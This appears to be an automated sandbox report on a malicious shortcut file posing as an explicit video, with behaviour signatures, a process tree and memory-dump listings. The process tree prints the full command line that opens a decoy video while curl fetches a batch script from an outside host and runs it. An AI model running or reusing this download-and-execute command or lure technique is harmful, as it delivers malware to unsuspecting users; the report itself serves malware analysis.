Analysis
- max time kernel
148s - max time network
130s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:21
General
- Target PACK8/teenpussyfeetandass.mp4.lnk
- Size 699B
- Sample260626-eytfaagy4y
- SHA256 e06cbda80536d564ed5ce571010f9130a20ab1155e788e0066c33d884a9927fe
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of FindShellTrayWindow 26 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenpussyfeetandass.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenpussyfeetandass.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4656-7-0x00007FFFE1E60000-0x00007FFFE1E94000-memory.dmp
memory/4656-6-0x00007FF755A40000-0x00007FF755B38000-memory.dmp
memory/4656-12-0x00007FFFD5B70000-0x00007FFFD5B9B000-memory.dmp
memory/4656-11-0x00007FFFDB690000-0x00007FFFDB6B2000-memory.dmp
memory/4656-10-0x00007FFFDBF90000-0x00007FFFDBFA9000-memory.dmp
memory/4656-9-0x00007FFFDBFB0000-0x00007FFFDBFC1000-memory.dmp
memory/4656-8-0x00007FFFCF490000-0x00007FFFCF746000-memory.dmp
memory/4656-15-0x00007FFFD5B50000-0x00007FFFD5B61000-memory.dmp
memory/4656-14-0x00007FFFDBB70000-0x00007FFFDBB84000-memory.dmp
memory/4656-16-0x00007FFFCEE30000-0x00007FFFCEF02000-memory.dmp
memory/4656-13-0x00007FFFCEF10000-0x00007FFFCF2A0000-memory.dmp
memory/4656-17-0x00007FFFCEB90000-0x00007FFFCEE26000-memory.dmp
memory/4656-18-0x00007FFFCEAA0000-0x00007FFFCEB88000-memory.dmp
memory/4656-27-0x00007FFFCE8A0000-0x00007FFFCE8B1000-memory.dmp
memory/4656-26-0x00007FFFCE8C0000-0x00007FFFCE8D1000-memory.dmp
memory/4656-25-0x00007FFFCE8E0000-0x00007FFFCE8FA000-memory.dmp
memory/4656-34-0x00007FFFCE480000-0x00007FFFCE492000-memory.dmp
memory/4656-40-0x00007FFFC65B0000-0x00007FFFC67F5000-memory.dmp
memory/4656-39-0x00000283B6700000-0x00000283B6711000-memory.dmp
memory/4656-38-0x00000283B66E0000-0x00000283B66F1000-memory.dmp
memory/4656-37-0x00000283B66C0000-0x00000283B66D1000-memory.dmp
memory/4656-36-0x00000283B49A0000-0x00000283B49C0000-memory.dmp
memory/4656-35-0x00000283B68A0000-0x00000283B6BA0000-memory.dmp
memory/4656-33-0x00007FFFCE4A0000-0x00007FFFCE4BB000-memory.dmp
memory/4656-32-0x00007FFFCE4C0000-0x00007FFFCE56B000-memory.dmp
memory/4656-31-0x00007FFFCE570000-0x00007FFFCE595000-memory.dmp
memory/4656-30-0x00007FFFCE5A0000-0x00007FFFCE5EF000-memory.dmp
memory/4656-29-0x00007FFFCE5F0000-0x00007FFFCE688000-memory.dmp
memory/4656-28-0x00007FFFCE690000-0x00007FFFCE89B000-memory.dmp
memory/4656-24-0x00007FFFCE900000-0x00007FFFCE92D000-memory.dmp
memory/4656-23-0x00007FFFCE930000-0x00007FFFCE956000-memory.dmp
memory/4656-22-0x00007FFFD56B0000-0x00007FFFD56C8000-memory.dmp
memory/4656-21-0x00007FFFD5B20000-0x00007FFFD5B4F000-memory.dmp
memory/4656-20-0x00007FFFCE960000-0x00007FFFCE9A1000-memory.dmp
memory/4656-19-0x00007FFFCE9B0000-0x00007FFFCEA93000-memory.dmp
memory/4656-43-0x00007FFFCF490000-0x00007FFFCF746000-memory.dmp
memory/4656-113-0x00007FFFCF490000-0x00007FFFCF746000-memory.dmp
memory/4656-183-0x00007FFFCF490000-0x00007FFFCF746000-memory.dmp